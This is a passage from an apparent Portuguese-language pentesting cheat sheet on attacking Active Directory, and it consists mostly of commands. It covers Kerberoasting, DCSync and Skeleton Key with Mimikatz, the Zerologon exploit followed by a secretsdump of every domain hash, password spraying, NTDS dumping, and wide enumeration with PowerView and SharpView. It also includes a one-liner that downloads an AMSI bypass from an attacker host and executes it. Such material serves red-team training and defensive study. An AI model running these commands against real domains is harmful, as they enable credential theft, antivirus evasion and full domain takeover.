New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<serviceprincipalname>'

Execute um dos comandos abaixo para verificar se realmente o ticket foi gerado

klist

# ou

.\mimikatz.exe
kerberos::list

Agora podemos resgatar o ticket e salvá-lo em disco utilizando o próprio Mimikatz:

kerberos::list /export

Agora vamos transferir o arquivo para o Linux e realizar um ataque de Brute Force para descobrirmos a senha da conta de serviço.

ATENÇÃO!! Nesse ponto provavelmente irá querer transferir o ticket, mas lembre-se de que ele está como binário, então tome cuidado para não destruí-lo ao transferir com ferramentas como Netcat. Recomendo utilizar o smbserver.py.

Após transferir o Ticket (em binário), basta realizar um ataque de Brute Force. Para isso, podemos utilizar o tgsrepcrack.py. Caso não tenha instalado, utilize o comando abaixo:

sudo apt install kerberoast

Após isso basta executá-lo:

python3 /usr/share/kerberoast/tgsrepcrack.py <wordlist.txt> <ticket.kirbi>

GPO

Listando GPO's do Domínio

Get-GPO -All
Get-GPResultSetOfPolicy -ReportType HTML -Path <C:\file.html>

Sincronizando o Domain Controller

Quando o Domain Controller recebe uma solicitação de atualização, ele não verifica se a solicitação veio de um Domain Controller conhecido, mas apenas se o SID associado tem os privilégios apropriados. Se tentarmos emitir uma solicitação de atualização não autorizada para um Domain Controller de um usuário que é membro do grupo Domain Admins, ele será bem-sucedido.

O arquivo responsável por manter essas atualizações, é o NTDS.dit, que funciona como um espécie de banco de dados do Active Directory.

mimikatz.exe
lsadump::dcsync /user:Administrator

Após a execução, podemos ver os hashes, incluindo o NTLM do usuário Administrator. O dump contém vários hashes associados às últimas vinte e nove senhas de usuário usadas, bem como os hashes usados com criptografia AES.

Usando a técnica acima, podemos solicitar uma atualização de replicação com um controlador de domínio e obter os hashes de senha de cada conta no Active Directory sem nunca fazer login no controlador de domínio.

DCSync

Em um ataque de DCSync o processo é mais furtivo, pois o atacante finge ser o DC, requisita a replicação de usários e assim DC original fornece os hashes dos usuários. No comando abaixo utilizamos o krbtgt como usuário alvo (por questões óbvias, já que é um usuário com privilégio alto), porém pode-se utilizar qualquer outro usuários. Note que é preciso ser Administrador do Domínio para conseguir realizar esse tipo de ataque, mas não precisa executar o Mimikatz dentro do DC, mas sim de qualquer máquina.

Na verdade, o DCSync exige que o usuário tenha uma combinação de 3 direitos/permissão:

  • Replicating Directory Changes (DS-Replication-Get-Changes)

  • Replicating Directory Changes All (DS-Replication-Get-Changes-All)

  • Replicating Directory Changes In Filtered Set (DS-Replication-Get-Changes-In-Filtered-Set)

Para realizar o DCSync, utilize o seguinte comando no DC para obter o hash NTLM do krbtgt:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DOMAIN>\krbtgt"'

Zero Logon

Certifique-se de ter o Impacket antes

git clone https://github.com/dirkjanm/CVE-2020-1472.git
cd CVE-2020-1472.git

git clone https://github.com/SecureAuthCorp/impacket.git

python3 cve-2020-1472-exploit.py <hostname_dc> <ip_dc>

Após fazer isso, a senha da conta do DC é nula, então podemos utilizá-la para realizar qualquer operação. No exemplo abaixo, estamos pegando todos os hashes NTLM dos usuários, incluindo o krbtgt.

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -just-dc <domain>/<hostname_dc>\$@<ip_dc>

Caso queira, é possível alterar a senha, bastando apenas codificá-la em hex. No exemplo abaixo o hex 41424344 é equivalente a ABCD:

python3 restorepassword.py <domain>/<hostname_dc>@<hostname_dc> -target-ip <ip_dc> -hexpass 41424344

FSMO (Flexible Single Master Operation)

Há cinco funções de FSMO (Flexible Single Master Operation - Operação Mestre Única Flexível), sendo estes:

  • Schema Master = Essa função gerencia a cópia de leitura/gravação do esquema do AD, que define todos os atributos que podem ser aplicados a um objeto no AD.

  • Domain Naming Master = Gerencia nomes de domínio e garante que dois domínios com o mesmo nome não sejam criados na mesma floresta.

  • Relative ID (RID) Master = O RID Master atribui blocos de SIDs aos DC's que podem ser usados para novos objetos. O RID Master ajuda a garantir que vários objetos não sejam atribuídos ao mesmo SID.

  • PDC Emulator = O host com essa função seria o DC autoritativo no domínio e responderia a solicitações de autenticação, alterações de senha e gerenciaria objetos de política de grupo (GPOs). O emulador PDC também mantém o tempo dentro do domínio.

  • Infrastructure Master = Essa função traduz GUIDs, SID's e DNs entre domínios. Essa função é usada em organizações com vários domínios em uma única floresta. O Infrastructure Master os ajuda a se comunicar. Se esta função não estiver funcionando corretamente, as Listas de Controle de Acesso (ACL's) mostrarão SID's em vez de nomes totalmente resolvidos.

Skeleton Key

Essa técnica consiste em realizar um patch do processo LSASS do DC, resultando no acesso em qualquer usuário utilizando uma senha única. Um ponto fraco desse tipo de atque, é que por ser uma modificação a nível de processo, é preciso realizar o ataque novamente, uma vez que o DC for reiniciado. Execute o comando Mimikatz abaixo no DC, de forma remota ou com o Invoke-Command

.\mimikatz.exe
misc::skeleton

Após isso, abra o Powershell (em outra máquina) com qualquer privégio e execute o comando abaixo:

Enter-PSSession -ComputerName <hostname-dc> -Credential <DOMAIN>\Administrator

Assim que executar o comando acima, irá ser exibido um popup solicitando a senha do usuário Administrator. Ao executarmos o Mimikatz no DC, ele alterou a senha de todos os usuários (incluindo o Administrator) para mimikatz, então utilize esse senha para acessar os computadores da rede e também o próprio DC.

ATENÇÃO: Nesse exato momento, tanto a senha mimikatz quanto a senha original de cada usuário, funcionam para realizar login, então os usuários irão continuar acessando normalmente suas contas.

Em alguns casos, o DC pode conter proteções no processo LSASS, então devemos realizar alterações a nível de kernel, utilizando o driver do Mimikatz e o mesmo deverá estar em disco na máquina do DC. O ponto fraco disso, é que o Mimikatz deve estar em disco, pois somente carregando em memória, não irá funcionar.

.\mimikatz.exe
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-

Brute Force

Realiza tentativa de uma uníca senha para vários usuários (spraying). o Paramêtro -Admin indica que é para testar as contas administrativas.

.\Spray-Passwords.ps1 -Pass "<password>" -Admin

Pegando Informações sobre o AD

Informçãoes do AD

Import-Module <C:\path\to\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ActiveDirectory\ActiveDirectory.psd1>
Get-ADDomain

Filtrando por todos os usuários que não tem o campo "Description" em branco. Isso pode ser útil para pegar informaçõe úteis ou até mesmo sensíveis, já que alguns administradores insistem em deixar senhas no campo de descrição. 

Get-ADUser -Filter 'Description -ne "$null"' -Properties Description | select name,Description

Buscando por políticas de grupos da GPO OBS.: Invoque o PowerView.ps1 antes de executar o comando abaixo

Get-NetGPOGroup

Pegando usuários que fazem parte de determinado grupo

Get-NetGroupMember '<group>'

RSAT (Remote Server Administration Tools)

Verificando quais ferramentas estão disponíveis

Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State

Instalando uma única ferramenta. Como exemplos, utilizamos o ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0

Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0  –Online

Instalando todas as ferramentas de uma vez

Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability –Online

Após instalar, note que as ferramentas estarão disponíveis no Painel de Controle > Ferramentas Administrativas.

Também podemos acessar o ADSI (tool do RSAT) do Domain Controller a partir de um host que não está no Domínio (para isso é necesário possuir as devidas credenciais), facilitando bastante o processo de enumeração do AD. Caso prefira, é possível acessar somente o mmc e assim adicionar os snap-ins que preferir. Possivelmente, irá receber erro specified domain either does not exist or could not be contacted., então clique com o botão direito do mouse no snap-in e depois clique em Change Domain.

runas /netonly /user:<domain.local>\<user> "mmc %SystemRoot%\system32\adsiedit.msc"

Enumerando Usuários

Verificando se o user tem permissão GenericAll para um determinado usuário

Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

Verificando quais usuários possuem permissão GenericAll em um determinado grupo. Observe o resultado de IdentityReference

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,<CN=name,DC=domain,DC=local>"}

Impacket

python3 GetADUsers.py -all -dc-ip <ip> <domain>/<user>:<password>
python3 GetADUsers.py -dc-ip <ip> '<domain.name>/'
python3 GetNPUsers.py -dc-ip <ip> -request '<domain.name>/'
python3 GetNPUsers.py '<domain.local>/' -usersfile <wordlist_users.txt> -format hashcat -outputfile <file_hash.txt> -dc-ip <ip>
python3 GetNPUsers.py <domain.name>/<user>

OBS.: Caso queira o hash da senha para quebrar com o hashcat, adicione -format hashcat no final do comando.

crackmapexec

Listando todos os usuários do AD

crackmapexec smb <ip> -u '' -p '' --rid-brute

Unconstrained Delegation (Delegação Irrestrita)

Impacket - Verificando as delegação de um DC

python3 findDelegation.py <domain.local>/<user>:<pass> -dc-ip <ip>

krbrelayx

Caso tenha alguma delegação, podemos usar o krbrelayx para abusar da delegação irrestrita, forçando o DC a se conectar ao host alvo e extrair p seu TGT. Usando os privilégios do DC para executar ataques DCSync, podemos extrair credenciais de qualquer usuários do domínio.

PowerView

Carregando PowerView

Forma convencional

# Carregando o PowerShell com bypass na política de execução     
powershell -ep bypass

# Maneiras diferentes de carregar o módulo do PowerView
. .\PowerView.ps1
Import-Module PowerView.ps1

A segunda maneira que temos de carregar o PowerView.ps1, é da maneira abaixo. Note que antes de chamamarmos o PowerView, estamos chamando o arquivo amsibypass, que server para realizar bypass no Windows Defender (caso esteja ativo).

Caso não tenha saiba como realizar bypass em amsi, clique no link abaixo:

Bypass em Antivírus
iex(iwr -UseBasicParsing http://<ip>/amsibypass) ; iex(iwr -UseBasicParsing http://<ip>/PowerView.ps1)

Convertendo SID

É comum durante o processo de enumeração, pegarmos SID's que não são convertidos para os devidos nomes. Para realizamos tal conversão. podemos utilizar os seugintes comandos:

# Convertendo nome em SID
ConvertTo-SID <nome_ou_grupo>

# Convertendo SID em nome
ConvertFrom-SID <SID>

Floresta

Enumerando todos os Domínios da Floresta

Get-NetForestDomain

Enumerando todos os Domínios da outra Floresta

Get-NetForestDomain -Forest <outra.floresta>

Enumerando Floresta

Get-NetForest

Enumerando outra Floresta

Get-NetForest -Forest <outra.floresta>

Enumerando o Global Catalog da Floresta

Get-NetForestCatalog

Enumerando as relações de confiança de Floresta

Get-NetForestTrust

Enumerando as relações de confiança de outra Floresta

Get-NetForestTrust -Forest <outra.floresta>

Domínio

Enumerando o Domínio local

Get-NetDomain

Enumerando outro Domínio

Get-NetDomain -Domain <outro.domain.local>

Identificando o SID do Domínio

Get-DomainSID

Enumerando o DC

Get-DomainController

Enumerando outro DC

Get-DomainController -Domain <outro.domain.local>

Enumerando políticas do Domínio. Note que aqui podemos ver o valor de LockoutBadCount. Caso LockoutBadCount seja 0, significa que não irá bloquear o usuário, caso erre a senha diversas vezes. Caso tenha um número entre 2 e 16, significa que este mesmo valor será a quantidade de tentativas incorretas que o usuário pode tentar até que sua conta seja bloqueada. Outro valor importante que podemos olhar, é o MaximumPasswordAge, que indica que a senha nunca expira, caso o seu valor seja -1;

Get-DomainPolicy

# Igual o comando anterior, porém detalhando a parte de `SystemAccess`
(Get-DomainPolicy).SystemAccess

Política de senhas do Domínio

Get-DomainPolicyData | select -expand SystemAccess

Usuários

Enumerando as propriedades e métodos de Get-NetUser

Get-NetUser | gm

Listando todos os usuários do AD

Get-DomainUser

Get-NetUser

# Comando semelhante ao anterior, porém exibindo somente o nome
Get-NetUser | select name

Quantidade total de usuários no AD

(Get-DomainUser).count

Enumerando usuários de outro Domínio

Get-NetUser -Domain <outro.domain.local>

Pegando informações de um determinado usuário

Get-NetUser -Identity <user>

Retornando todos os usuários que são administradores

Get-NetUser | ? {$_.admincount -eq 1} | select name

Buscando usuários que não possuem o campo description em branco

Get-NetUser -Filter "(description=*)" | select name,description

Buscando por usuários que não possuem a string pass no campo description

Get-NetUser -Filter "(description=*pass*)" | select name,description

Usuários que já fizeram login em alguma máquina do domínio

Get-NetUser | ? {$_.logoncount -gt 0} | select name

Retornando os usuários que já fizeram login em alguma máquina do domínio e a data do último login

Get-NetUser | ?{$_.logoncount -gt 0} | select name,pwdlastset

Enumerando todas as máquinas do Domínio onde o usuário local possui acesso como Administrador local

Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose

Verificando sessões ativas no host atual

Get-NetSession

Localizando máquinas de Domínio nas quais os usuários estão conectados

Find-DomainUserLocation

Exportando informações de todos os usuários do domínio para um CSV

Get-DomainUser * -Domain <domain.local> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-Csv .\<output.csv> -NoTypeInformation

Verificando se o usuário atual tem direitos de administrador local em um host remoto

Test-AdminAccess -ComputerName <hostname>

# Ou
$sid = Convert-NameToSid <user>
$computers = Get-DomainComputer -Properties dnshostname | select -ExpandProperty dnshostname
foreach ($line in $computers) {Get-NetLocalGroupMember -ComputerName $line | ? {$_.SID -eq $sid}}

Verificando os usuários que estão logados em determinado computador ou no próprio computador (para isso, remova os parâmetos do comando abaixo). Para realizar com êxito o comando abaixo, é preciso ter privilégios de administrador

Get-NetLoggedon -ComputerName <host>

Pegando valores UAC de um determinado usuário

Get-DomainUser <user> | ConvertFrom-UACValue -showall

Usuário que possui informações no campo description

Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}

Enumerar usuário de outros Domínios com associação de grupo em qualquer grupo em nosso Domínio atual. Se comprometermos o domínio atual, podemos obter credenciais desse usuário do banco de dados NTDS e autenticar no Domínio que possui associção ao nosso Domínio atual

Find-ForeignGroup

Note que na saída do comando acima, o campo MemberName pode conter somente o SID do usuário, então devemos executar o comando abaixo para pegamos o seu name

Convert-SidToName <sid>

Verificar usuários com Service Principal Names (SPNs) definidos em outros Domínios nos quais podemos autenticar por meio de relações de confiança de entrada ou bidirecionais com autenticação em toda a Floresta, permitindo que todos os usuários se autentiquem com uma configuração de confiança ou autenticação seletiva. Caso encontre algum Domínio, significa que pode ser aproveitada com Kerberoast devido a confiança da Floresta.

Get-DomainUser -SPN -Domain <domain.local> | select samaccountname,memberof,serviceprincipalname | fl

Buscando o nome de todos os usuários, a data de última alteração de senha e o último logon

Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | Sort-Object -Property pwdlastset

O mesmo que o comando acima, porém definimos que pegar somente datas do campo pwdlastset que tem mais de 90 dias de diferença (comparado a data atual). Isso é útil para pegarmos contas com muito tempo sem alteração, o que pode significar que uma senha fraca.

Get-DomainUser -Properties samaccountname,pwdlastset,lastlogon -Domain <domain.local> | select samaccountname, pwdlastset, lastlogon | where { $_.pwdlastset -lt (Get-Date).addDays(-90) }

Data de alteração de senha MSSQL Server

Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'}

Computadores

Enumerando computadores do AD

Get-NetComputer
Get-DomainComputer

Enumerando computadores utilizando o ping e verificando se é um Servidor

Get-NetComputer -Ping -OperatingSystem "*Server*"

Filtrando pelo nome do Computador

Get-DomainComputer -Properties name,objectguid -Name "<name>"

Buscando por um computador onde um Domain Admin esteja logado e que o usuário atual possui acesso

Invoke-UserHunter -CheckAccess

Coletando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).

Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | fl

# Salvando resultado em arquivo CSV
Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol | Export-Csv .\inlanefreight_computers.csv -NoTypeInformation

Verificando por diretórios compartilhados em computadores do Domínio

Invoke-ShareFinder -Verbose

Bucando por arquivos sensíveis em computadores do Domínio

Invoke-FileFinder -Verbose

Procurando por computadores que estão configurado para permitir Constrained Delegation (Delegação Irrestrita)

Get-DomainComputer -TrustedToAuth | select -Property dnshostname,useraccountcontrol

Grupos

Obtém lista de grupos do domínio

Get-DomainGroup
Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
Get-DomainGroup -Properties Name

Get-NetGroup
Get-NetGroup -GroupName *admin*

Verificando todos os membros de um determinado grupo

Get-DomainGroupMember -Identity '<grupo>'
Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName

Enumerando grupos de outro Domínio

Get-NetGroup -Domain <outro.domain.local>

Verificando os grupos que um determinado usuário pertence

Get-NetGroup -UserName <user> | select cn

Verificando os grupos que um determinado usuário (de outro domínio) pertence

Get-NetGroup -UserName <user> -Domain <outro.domain.local> | select cn

Todos os grupos que possuem "admin" no nome

Get-NetGroup '*admin*' | select name

Todo os usuários que são Domain Admin. Note que essa pesquisa está sendo executada de forma recursiva

Get-NetGroupMember '*Domain Admin*' -Recurse | select MemberName

Procurando por Grupos de Segurança gerenciadores. Esses grupos tem o direito de adicionar membros a grupos de segurança e grupos de Distribuição do AD são definidos modificando o atributo managedBy

Find-ManagedSecurityGroups | select GroupName

Examinando o grupo de Security Operations

Get-DomainManagedSecurityGroup

Enumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host

Get-NetLocalGroup -ComputerName <hostname> | select GroupName

Computadores

Obtém uma lista de todos os Sistemas Operacionais do Domínio

# Dados Completos
Get-NetComputer -fulldata

# Demais informações sobre um host
Get-DomainComputer | SELECT dnshostname, useraccountcontrol

# Somente os hostnames
Get-NetComputer

# Somente o hostname e o sistema operacional
Get-NetComputer -fulldata | select  name,operatingsystem

Pegando membros de um determinado grupo local. Note que se não informar o grupo, será retornado somente os membros do grupo Administrators.

Get-NetLocalGroupMember -GroupName '<group>'
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl

Buscando por determinado computador

Get-NetShare -ComputerName <hostname>
Get-PathAcl "\\<hostname>\<directory>"

Buscando compartilhamentos por todos os computadores do AD

Get-NetComputer | select name | % {$_.name ; Get-NetShare -ComputerName $_.name ; echo "---------------------------------------"}

Verificando quantas máquinas os usuários do AD podem inserir no Domínio

powershell Get-DomainObject -Identity "<DC=domain,DC=local>" -Properties ms-DS-MachineAccountQuota

Criando um computador no Domínio com senha aleatória

execute-assembly <C:\path\to\StandIn\StandIn\StandIn\bin\Release\StandIn.exe> --computer <name> --make

ACL/ACE

Mais detalhes a seguir em:

Explorando ACL/ACE

OU

Get-DomainOU

Listando todos os computadores que fazem parte de uma OU.

Get-NetOU -OUName <OU> | %{Get-NetComputer -ADSPath $_}

GPO

Listando todas as GPO's

Get-NetGPO

Pegando as GPO's que estão associadas a um determinado host

Get-NetGPO -ComputerName <host>
Get-DomainGPO -ComputerIdentity <host> | SELECT displayname

Listando todas as GPO's que estão sendo aplicadas em uma determinada OU. Substitua o hash abaixo, pelo valor de gplink, que pode ser obtido ao executar o comando Get-NetOU

Get-NetGPO -Identity "{12F23D88-9D4D-4E26-90EE-AE482324566B}"

Retorna todos os GPOs que modificam a associação a grupos locais por meio de Restricted Groups ou Group Policy Preferences. Você pode então localizar manualmente a quais OUs e, por extensão, a quais computadores essas GPOs se aplicam. Isso pode ser útil para mostrar que um determinado grupo está recebendo algum tipo de acesso local nas máquinas às quais as GPOs se aplicam.

Get-DomainGPOLocalGroup | select GPODisplayName, GroupName

SPN (Service Principal Name)

Pegando SPN de serviços do AD

Get-NetUser -SPN
Get-NetComputer | Select -ExpandProperty serviceprincipalname

DICA: Note que, como podemos obter uma lista de todos os serviços (e seus respectivos hosts), não precisamos então de utilizar um nmap para descobrir portas abertas. Além de ter um resultado mais preciso com o SPN, também se torna extremamente difícil de ser detectado

Active Directory Rigths

GenericAll = Usuário pode modificar a associação ao grupo, adicionando ou remover usuários

Verificando permissões

$sid = ConvertTo-SID <user>
Get-DomainObjectAcl -Identity 'Security Operations' | ?{ $_.SecurityIdentifier -eq $sid}

Relação de Confiança

Retorna todas as relações de confiança de Domínio para nosso Domínio atual.

Get-DomainTrust

Retorna todas as relações de confiança de Floresta para nosso Floresta atual.

Get-ForestTrust

Listando os relacionamentos de confiança do Domínio atual

Get-NetDomainTrust

Listando os relacionamentos de confiança do outros Domínio

Get-NetDomainTrust -Domain <outro.dominio.local>

Enumerando as relações de confiança de Floresta

Get-NetForestTrust

Enumerando as relações de confiança de outra Floresta

Get-NetForestTrust -Forest <outra.floresta>

Diretórios Compartilhados

Diretórios compartilhados no host atual

Invoke-ShareFinder

Scripts Automatizados

Acessa todas máquinas do Domínio (sem passar pelo DC), e verifica onde o usuários atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.

Find-LocalAdminAccess -Verbose [-Thread <int>]

Busca no DC a lista de computadores e depois verifica em cada máquina se o usuário atual possui acesso de Administrador Local. Esse acesso é feito utilizando as portas do RPC e SMB, porém é possível utilizar outras portas.

Invoke-CheckLocalAdminAccess

Técnica para verificar se possui acesso de Administrador Local e máquinas, porém de maneira mais furtiva. Para utilizá-lo antes deve enviar o dnshostname das máquinas em um arquivo txt (get-netcomputer | select dnshostname)

Find-WMILocalAdminAccess.ps1

Enumeração de todos os administradores locais de todas as máquinas do Domínio. É necessário ter privilégio de administador das máquinas que não são o DC

Invoke-EnumerateLocalAdmin -Verbose

Pesquisa no DC a lista de computadores e depois verifica o grupo de Administadores Locais

Get-NetLocalGroup

Retorna onde todos os membros de um determinado grupo (por padrão será pesquisado pelo Domain Admin) possuem sessão ativa e em quais computadores

Invoke-UserHunter -Verbose
Invoke-UserHunter -GroupName <group>

Caso queira deixar ainda mais stealth, podemos enumerar o c:\users e após pegar a lista de usuários (baseados no diretórios que foram criados), acessa o File Server em busca de sessões ativas

Invoke-UserHunter -Stealth -Verbose

Para confirmar se o acesso é realmente válido, utilize o comando abaixo

Invoke-UserHunter -CheckAccess

SharpView

OBS.: Diferentemente do PowerView e do ADModule, este pode ser executado sem o Powershell, o que pode ser algo vantajoso dependendo da sua situação.

Help sobre determinado comando. No exemplo abaixo, utilizamos o Get-DomainUser, porém pode ser qualquer outra função

.\SharpView.exe Get-DomainUser -Help

Enumeração de usuários que não exigem pré-autenticação Kerberos e podem ser submetidos a um ataque ASREPRoast.

.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samaccountname,useraccountcontrol,memberof

Usuários com delegação restrita de Kerberos

.\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samaccountname,useraccountcontrol,memberof

Enumerando usuários do AD

.\SharpView.exe Get-DomainUser -domain <domain>

Enumerando computadores do AD

.\SharpView.exe Get-DomainComputer

Coletando nome do host, sistema operacional e atributos de Controle de Conta de Usuário (UAC).

.\SharpView.exe Get-DomainComputer -Properties dnshostname,operatingsystem,lastlogontimestamp,useraccountcontrol

Procurando por computadores que estão configurado para permitir Unconstrained Delegation (Delegação Irrestrita)

.\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnshostname,useraccountcontrol

Procurando por todos os grupos do AD com o atributo AdminCount definido como 1, ou seja, este é um grupo protegido.

.\SharpView.exe Get-DomainGroup -AdminCount

Mostrando membros de um determinado grupo do AD

.\SharpView.exe Get-DomainGroupMember -Identity '<grupo>'

Enumerando os grupos locais. Por padrão, será efetuado a pesquisa utilizando o próprio host

.\SharpView.exe Get-NetLocalGroupMember -ComputerName WS01

Coletando informações sobre usuários de domínio com tenham PreauthNotRequired

.\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired

Pegando SID de um determinado usuário

.\SharpView.exe ConvertTo-SID -Name <user>

Convertendo nome de um usuário a partir de um SID

.\SharpView.exe Convert-ADName -ObjectName <sid>

Usuários que permitem delegação irrestrita

.\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Enumerando usuário com ServicePrincipalName (SPN), que possam ser sujeitos a ataques de Kerberoasting

.\SharpView.exe Get-DomainUser -SPN -Properties samaccountname,memberof,serviceprincipalname

Informações sobre o Domínio, como DC, Floresta, Domínios filhos, Level do Domíonio, etc

.\SharpView.exe Get-Domain

Enumerando compartilhamentos abertos em um determinado host

.\SharpView.exe Get-NetShare -ComputerName <hostname>

Enumerando as OU's

.\SharpView.exe Get-DomainOU | findstr /b "name"

Pegando o nome de todas as GPO's

.\SharpView.exe Get-DomainGPO | findstr displayname

ADModule

Importando o Módulo

Import-Module <C:\path\to\ADModule\ADModule-master\Microsoft.ActiveDirectory.Management.dll>
Import-Module <C:\path\to\ADModule\ADModule-master\ActiveDirectory\Import-ActiveDirectory.psd1>

Objetos

Retorna todos os objetos do AD

Get-ADObject

Floresta

Enumerando todos os Domínios da Floresta

(Get-ADForest).domains

Enumerando Floresta

Get-ADForest

Enumerando outra Floresta

Get-ADForest -Identity <outra.floresta>

Enumerando o Global Catalog da Floresta

Get-ADForest | select -ExpandProperty GlobalCatalogs

Domínio

Get-ADDomain

Enumerando o Domínio local

Get-ADDomain

Enumerando outro Domínio

Get-ADDomain -Identity <outro.domain.local>

Identificando o SID do Domínio

(Get-ADDomain).DomainSID

Enumerando o DC

Get-ADDomainController

Enumerando outro DC

Get-ADDomainController -DomainName <outro.domain.local>

Usuários

Get-ADUser -Filter * -Properties *

# Comando semelhante ao anterior, porém exibindo somente o nome
Get-ADUser -Filter * -Properties * | select name

Enumerando usuários de outro Domínio

Get-ADUser -Filter * -Properties * -Server <outro.domain.local>

Pegando informações de um determinado usuário

Get-ADUser -Identity <user>

Buscando por usuários que possuem o campo description com algum conteúdo

Get-ADUser -Filter 'Description -like "*"' -Properties * | select name

Buscando por usuários que não possuem a string pass no campo description

Get-ADUser -Filter 'Description -like "*pass*"' -Properties *

Todo os usuários que faz parte de Domain Admin. Note que essa pesquisa está sendo executada de forma recursiva

Get-ADGroupMember -Identity "Domain Admins" -Recursive | select name

Grupos

Enumerando os grupos do Domínio

Get-ADGroup -Filter * -Properties *

Verificando os grupos que um determinado usuário pertence

Get-ADPrincipalGroupMembership -Identity <user>

Todos os grupos que possuem "admin" no nome

Get-ADGroup -Filter "Name -like '*admin*'" | select name

Computadores

Get-ADComputer -Filter * -Properties *

Enumerando computadores utilizando o ping e verificando se é um Servidor

Get-ADComputer -Filter 'OperatingSystem -like "*Server*"'

OU

Listando as OU's do Domínio

Get-ADOrganizationalUnit -Filter * -Properties *

ACL/ACE

Mais detalhes a seguir em:

Explorando ACL/ACE

Relação de Confiança

Listando os relacionamentos de confiança do Domínio atual

Get-ADTrust -Filter *

Listando os relacionamentos de confiança do outros Domínio

Get-ADTrust -Identity <outro.dominio.local> -Filter *

ADSearch

Enumerando usuários do Domínio

<C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "objectCategory=user"

Pesquisando por todos os grupos de domínio que terminam com a palavra admins.

C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))"

Pesquisando por todos os grupos de domínio que terminam com a palavra admins.

# Retonando todos os atributos
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --full

# Retornando somente os atributos cn e member
C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member

Configurando a saída para o formato JSON

C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins))" --json

Enumeração do AD (Post Exploitation)

Na máquina alvo, execute os comandos abaixo. Note que o terminal ficará preso e será salvo um arquivo zip com alguns arquivos json dentro.

ps1

powershell -ep bypass
. .\SharpHound.ps1
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName <file.zip>

exe

.\SharpHound.exe -c all

Depois de realizar um dos métodos acima, envie o arquivo zip para o host atacante com o seu método de preferência e importe no Bloodhound.

DICA: Atualmente as credenciais padrões para acessar o Neo4j via web é root:root ou neo4j:neo4j 

# Terminal 1
neo4j start
neo4j console

# Terminal 2
bloobhound

Feito isso, vamos importar o arquivo zip que foi gerado com o SharpHound para o Bloodhound, clicando no botão Import Graph que fica no canto direito da janela. Em alguns casos esse import não funciona, então é necessário clicar e arrastar o arquivo zip para dentro do Bloodhound. Logo após poderá ver o desenho do AD, mapeando informações úteis.

NTDS Dump

crackmapexec

Realiza o dump do NTDS.dit. Ao pegar um NTLM, utilize-a para testar acessos para os outros usuários.

crackmapexec smb <ip> -u '' -p '' --ntds

Sites

# PowerView
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

# Powerview Tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

# SharpView
https://github.com/tevora-threat/SharpView

# ADModule
https://github.com/samratashok/ADModule

# ADSearch
https://github.com/tomcarver16/ADSearch

# Modulo de AD no Powershell
https://www.microsoft.com/en-us/download/details.aspx?id=45520

# Find-WMILocalAdminAccess.ps1
https://github.com/admin0987654321/admin1/blob/master/Find-WMILocalAdminAccess.ps1

# Spray-Passwords
https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1

# GPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse

# SID conhecidos no AD
https://ldapwiki.com/wiki/Well-known%20Security%20Identifiers

# krbrelayx
https://github.com/dirkjanm/krbrelayx

# Gitbook com diversos ataques em AD/Kerberos
https://www.ired.team/

# Constrained Delegation (Delegação Restrita)
https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview#:~:text=Constrained%20delegation%20gives%20service%20administrators,to%20their%20back%2Dend%20services.

# Unconstrained Delegation (Delegação Irrestrita)
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
https://adsecurity.org/?p=1667

# Lista completas dos tipos de SPN
https://adsecurity.org/?page_id=183

# Tutorial LDAP da Digital Ocean
https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities
PreviousWindowsNextLDAP

Last updated

Was this helpful?